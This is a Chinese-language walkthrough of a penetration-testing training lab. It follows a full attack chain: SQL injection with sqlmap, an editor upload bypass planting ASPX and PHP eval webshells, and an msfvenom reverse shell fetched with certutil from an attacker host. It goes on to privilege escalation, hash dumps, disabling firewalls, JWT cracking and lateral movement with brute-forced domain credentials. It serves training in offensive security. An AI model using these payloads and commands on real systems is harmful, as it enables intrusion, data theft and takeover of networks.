暗月项目十二-ack123靶场


渗透过程概述:
1、信息收集-->sql注入漏洞-->后台文件上传漏洞getshell
下载hdh cms源码,收集信息。注册admin用户,验证用户存在。search.aspx存在sql注入漏洞,MDB Viewer打开数据库,sqlmap设置tamper=randomcase过waf,根据表结构暴破账号密码。登录后台,发现Ueditor 1.4.3 存在文件上传漏洞,利用controller.ashx制作上传页面,上传图片马getshell。
2、免杀后门上线msf,烂土豆提权
win10免杀系统制作免杀后门,上线msf。ms16_075烂土豆提权。payload_inject派生到cs,解密ntlm。
3、内网渗透-->横向移动
data1渗透:hdhapp.config里发现数据库连接信息,sql tools连接数据库,执行下载命令并运行后门,上线msf,同样ms16_075烂土豆提权。
web2渗透:jwt_tool.py破解token,御剑扫描到webshell文件,使用K8_FuckOneShell破解webshell密码。或者根据响应头信息,搜索搭建环境版本,得到phpmyadmin路径,利用phpmyadmin日志写shell,直接是系统权限。
dc渗透:利用smb_login模块,暴破smb登录密码。ms17_010相关模块都失败了。psexec模块上线msf,或者schtasks添加计划任务上线msf。
data2渗透:利用域控账号密码建立ipc连接,psexec模块上线data2。
1、信息收集
1.1 masscan+nmap 扫描端口
masscan -p 1-65535 --rate=1000 192.168.59.136
nmap -sC -sV -A -O -Pn 192.168.59.136
访问80端口,发现是HDH cms

1.2 cms 信息收集
1.2.1 下载hdh cms源码,分析目录结构
后台:
http://www.ackmoon.com/admin/login.aspx
搜索:
http://www.ackmoon.com/search.aspx
数据库连接配置文件:
http://www.ackmoon.com/HdhApp.config
数据库文件,查看表结构:
\database\hdhcms.mdb
1.2.2 注册admin,验证用户已存在

1.2.3 或任意注册一个用户,登录后台,收集中间件信息

1.2.4 Ueditor 1.4.3 编辑器存在文件上传漏洞
1.2.5 search.aspx 存在sql注入漏洞
http://www.ackmoon.com/search.aspx
2、漏洞挖掘【HDH CMS sql注入漏洞挖掘与利用】
2.1 定位注入点
http://www.ackmoon.com/search.aspx


burp抓包:
POST /search.aspx?action=ok HTTP/1.1
Host: www.ackmoon.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
Origin: http://www.ackmoon.com
Connection: close
Referer: http://www.ackmoon.com/search.aspx
Cookie: ListDid=Did25=25; ASP.NET_SessionId=q0wbrpi0uy5d0g0kw1wr5jik
Upgrade-Insecure-Requests: 1
DonforGjc=1+and+1%3D1&DonforTjk=%E6%90%9C++%E7%B4%A2
2.2 MDB Viewer Plus 打开hdhcms.mdb,熟悉表结构

账号密码在Onkey_DonforGlcy表中:

2.3 sqlmap 暴破
sqlmap -r sql.txt -p DonforGjc --batch --dbs
sqlmap -r sql.txt -p DonforGjc --batch --current-db
sqlmap -r sql.txt -p DonforGjc --batch -D DemoHdhCms --tables
2.3.1 构造 站库分离payload
1');IF(host_name()=@@servername) WAITFOR DELAY '0:0:5'--
2.3.2 根据cms源码的表结构,直接dump账号密码
设置脚本randomcase 过waf
sqlmap -r sql.txt -p DonforGjc --batch -D DemoHdhCms --tables --tamper=randomcase
sqlmap -r sql.txt -p DonforGjc --batch -D DemoHdhCms -T Onkey_DonforGlcy -C admin,pwd --dump --tamper=randomcase

解密:password-moon
2.3.3 --sql-shell 行不通
sqlmap -r sql.txt -p DonforGjc -D DemoHdhCms -T Onkey_DonforGlcy --sql-shell
select pwd from Onkey_DonforGlcy where admin='admin' ---行不通
3、漏洞利用【Ueditor 1.4.3 文件上传漏洞getshell】
3.1 登录后台
http://www.ackmoon.com/admin/login.aspx admin password-moon
3.2 Ueditor 编辑器文件上传漏洞getshell
3.2.1 获取controller.ashx的地址
点击 修改文章,抓包。获取controller.ashx地址:
http://www.ackmoon.com/admin/net/controller.ashx?......

3.2.2 新建一个有上传功能的upload_exp.html文件,制作图片马
【upload_exp.html】
<form action="http://www.ackmoon.com/admin/net/controller.ashx?action=catchimage"
enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr:
<input type="text" name="source[]" /></p >
<input type="submit" value="Submit" />
</form>
【图片马 shell.png】
<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>
3.2.3 kali开启apache服务,上传shell.png图片马到var/www/html/目录
kali开启apache服务:
service apache2 start
在路径框后门输入?.aspx (直接输 .aspx也行)

提交,根据返回信息,获取shell地址:
www.ackmoon.com/upfiles/image/20220427/6378669746359744016160813.aspx

3.2.4 蚁剑连接shell,收集systeminfo
提权exp+杀软识别:
4、提权
4.1 制作免杀马,上线msf
4.1.1 上传wt.asp 找可执行目录
C:/360Downloads/Software/
4.1.2 制作免杀马
4.1.2.1 msfvenom 生成 py payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=12345 -f python>r.py
4.1.2.2 替换"buf += b",删除开头和结尾,只保留16进制数据
4.1.2.3 复制到windows10免杀系统里,localhost网站生成base64编码的moon.py 文件,重命名r.py
4.1.2.4 使用1.bat 生成r.exe免杀后门,蚁剑上传后门并执行
4.1.3 上线msf

4.2 ms16-075烂土豆提权
4.2.1 提权
search ms16-075
use exploit/windows/local/ms16_075_reflection_juicy
set session 1


4.2.2 msf 派生到cs
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set session 2
set lhost 192.168.1.102
set lport 60001
4.3 hash dump
migrate 2280
hashdump
Administrator hash解密:QWEasd.123

4.4 登录远程桌面,关闭杀软和防火墙
netsh advfirewall set allprofiles state off
5、内网渗透【data1渗透】
5.1信息收集
5.1.1主机发现
第一种:arp -a

第二种:run arp_scanner -r 192.168.59.0/24

第三种:udp_sweep模块
use auxiliary/scanner/discovery/udp_sweep
set rhosts 192.168.59.0/24

5.1.2 存活主机 192.168.59.135
排除 136(web1)和 132 (kali)
nmap -sT -Pn -p 445 192.168.59.135 192.168.59.1 192.168.59.2 192.168.59.255
5.1.3 添加路由
run post/multi/manage/autoroute

5.1.4 端口扫描
nmap -sT -Pn 192.168.59.135

5.2 从web1网站文件里,发现数据库连接字符串
<add key="HdhCmsConnStr" value="user id=sa;password=pass123@.com;initial catalog=DemoHdhCms;data source=192.168.59.135"/>

5.3 SQL TOOLS 连接数据库

5.3.1 systeminfo 信息收集
5.3.2 杀软+提权exp 信息
5.4 certutil 远程下载后门并执行,上线msf
certutil –urlcache –f –split http://192.168.1.101/r.exe C:\Users\MSSQLSERVER\r.exe
5.4.1 SQL TOOLS上传功能无效
5.4.2 certutil,使用windows自带certutil,下载后门到data1可写可执行目录

C:\Users\MSSQLSERVER\

5.4.3 执行后门r.exe,data1上线msf
C:\Users\MSSQLSERVER\r.exe

5.5 ms16_075 烂土豆提权
use exploit/windows/local/ms16_075_reflection_juicy
set session 3

5.6 hash dump,关防火墙
meterpreter > hashdump
netsh advfirewall set ......
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc6ad1748c1d0eacee6adff0c6516dbb:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
解密不出来。
5.7 AspxSpy2014Final.aspx 大马上传功能不好使
5.8 ms sql 开启 xp_cmdshell 功能
EXEC sp_configure'show advanced options', 1
RECONFIGURE;
EXEC sp_configure'xp_cmdshell', 1;
RECONFIGURE;
5.9 关闭远程连接限制
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t reg_dword /d 0 /f
6、横向移动【web2渗透】
6.1 信息收集
6.1.1 主机发现
第一种:run arp_scanner -r 192.168.22.0/24
第二种:udp_sweep 模块(准但太慢)
use auxiliary/scanner/discovery/udp_sweep
set rhosts 192.168.22.0/24

第三种:arp -a 不靠谱

6.1.2 设置代理
use auxiliary/server/socks_proxy
set srvhost 127.0.0.1
6.1.3 存活主机
proxychains nmap -sT -Pn -p 445 192.168.22.1 192.168.22.134 192.168.22.133 192.168.22.135 192.168.22.254 192.168.22.255
6.1.4 端口扫描
proxychains nmap -sT -Pn 192.168.22.135
6.2 getshell
6.2.1 JWT破解
6.2.1.1 burp 登录抓包

6.2.1.2 https://jwt.io/ 在线破解JWT token
修改exp字段,延长过期时间
破解需要密钥:

6.2.1.3 jwt_tool.py 暴破密钥
python3 jwt_tool.py 【token】-C -d rockyou.txt
密钥:Qweasdzxc5
6.2.1.4 将密钥输入jwt.io的密钥位置,得到新的token

6.2.1.5 将新的token 替换进burp的包里,放包。admin登陆成功

6.2.2 第一种方式getshell:扫敏感文件,暴破webshell密码
6.2.2.1 御剑扫描目录文件
1.php和c.php是空白页面,猜测是webshell
http://192.168.22.135/1.php
http://192.168.22.135/c.php

6.2.2.2 K8tools/K8_FuckOneShell 暴破webshell密码
Dictionary-Of-Pentesting 里的字典txt,替换K8_FuckOneShell\pass.txt
webshell地址:
http://192.168.22.135/1.php cmd

6.2.3 第二种方式getshell:phpMyAdmin写shell
6.2.3.1 确定是phpstudy搭建的,并猜测phpMyAdmin默认路径
搜索server:apache。。。
得到phpstudyPro版本
得到phpMyAdmin版本phpmyadmin4.8.5
或者字典暴破路径

6.2.3.2 访问 http://192.168.22.135/phpmyadmin4.8.5/
账号:root
密码:Qweasdzxc5 (前面 jwt 破解得到的)
6.2.3.3 phpMyAdmin 写shell
show variables like '%general%';
SET GLOBAL general_log='on';
SET GLOBAL general_log_file='C:/phpStudy_pro/www/shell.php';
SELECT '<?php eval($_POST["cmd"]);?>'
shell地址:
http://192.168.22.135/shell.php cmd

6.3 提权

6.4 msf正向连接web2

6.5 hash dump,关防火墙
ps
migrate
hashdump
netsh advfirewall set ......
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b78ee36a79ed9763b66519f86825a6bd:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
moonsec:1001:aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387:::
解密不出来。
6、横向移动【dc渗透】
6.1 信息收集
6.1.1 添加路由
run post/multi/manage/autoroute

6.1.2 主机发现
run arp_scanner -r 10.10.10.0/24
auxiliary/scanner/discovery/udp_sweep

6.1.3 存活主机
proxychains nmap -sT -Pn -p 445 10.10.10.138 10.10.10.135 10.10.10.136
6.1.4 端口扫描
proxychains nmap -sT -Pn 10.10.10.135
6.2 smb_login模块暴破smb密码
use auxiliary/scanner/smb/smb_login
set rhosts 10.10.10.135
set smbuser administrator
set smbdomain ack123.com
set pass_file /usr/share/wordlists/fasttrack.txt
set threads 50


账号:ack123.com\administrator
密码:P@55w0rd!
6.3 上线msf,以下几种方式都失败了
6.3.1 auxiliary/scanner/smb/smb_ms17_010
卡住。。。
6.3.2 use exploit/windows/smb/ms17_010_eternalblue
蓝屏。。。
6.3.3 use exploit/windows/smb/ms17_010_psexec
没反应。。。
6.4 上线msf
6.4.1 建立ipc连接
net use \\10.10.10.135\ipc$ "P@55w0rd!" /user:"administrator"
net use
删除ipc连接:
net use \\10.10.10.135\ipc$ /del

6.4.2 sc命令 关闭防火墙
sc \\10.10.10.135 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\10.10.10.135 start unablefirewall
关闭防火墙,提示失败,实际成功了。


6.4.3 上线方式一:psexec
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set rhost 10.10.10.135
set smbdomain ack123.com
set smbuser administrator
set smbpass P@55w0rd!


6.4.4 上线方式二:schtasks 添加计划任务
6.4.4.1 copy b.exe到dc
copy C:\phpstudy_pro\WWW\b.exe \\10.10.10.135\c$\
dir \\10.10.10.135\c$\
6.4.4.2 创建计划任务并执行
设置计划任务定时执行:
schtasks /Create /S 10.10.10.135 /U Administrator /P "P@55w0rd!" /SC ONCE /ST 19:27:01 /TN 361 /TR c:\b.exe /RU Administrator
立即执行:
schtasks /run /s 10.10.10.135 /U Administrator /P "P@55w0rd!" /i /tn 361

6.4.4.3 msf正向连接dc
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 10.10.10.135
set lport 12346
run
6.4.4.4 schtasks用法
【
查看dc:
dir \\10.10.10.135\C$ -u administrator -p P@55w0rd!
查看进行:
tasklist /svc /S 10.10.10.135 /U administrator /P P@55w0rd!
查看计划任务:
schtasks /S 10.10.10.135 /U administrator /P P@55w0rd!
】
【
远程创建任务计划:
schtasks /create /s 【IP】 /u 【username】 /p 【password】 /tn【TaskName】/sc 【schudule】 /tr 【TaskRun】
远程执行任务计划:
schtasks /run /s 【IP】 /u 【username】 /p 【password】 /tn【TaskName】
远程终止任务计划:
schtasks /end /s 【IP】 /u 【username】 /p 【password】 /tn【TaskName】
远程删除任务计划:
schtasks /delete /s 【IP】 /u 【username】 /p 【password】 /tn【TaskName】 删除带确认警告
schtasks /delete /s 【IP】 /u 【username】 /p 【password】 /tn【TaskName】 /f 强制删除
】
6.4.5 上线方式三:远程桌面
6.5 hash dump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:bc23a1506bd3c8d3a533680c516bab27:::
解密:P@55w0rd!
6、横向移动【data2渗透】
防火墙设置里,勾选【文件和打印机共享】,开启445端口
【做法跟dc一模一样。。。】
用域控账号密码 建立ipc连接
关闭防火墙
psexec或者schtasks
msf正向连接
6.1 用域控账号密码 建立ipc连接
net use \\10.10.10.136\ipc$ "P@55w0rd!" /user:"administrator"
net use

靶机C盘映射到本地F盘:
net use f: \\10.10.10.135\c$ P@55w0rd! /user:administrator

6.2 sc命令 关闭防火墙
sc \\10.10.10.136 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\10.10.10.136 start unablefirewall


6.3 psexec模块上线msf

7、权限维持
8、痕迹清理
9、总结



浙公网安备 33010602011771号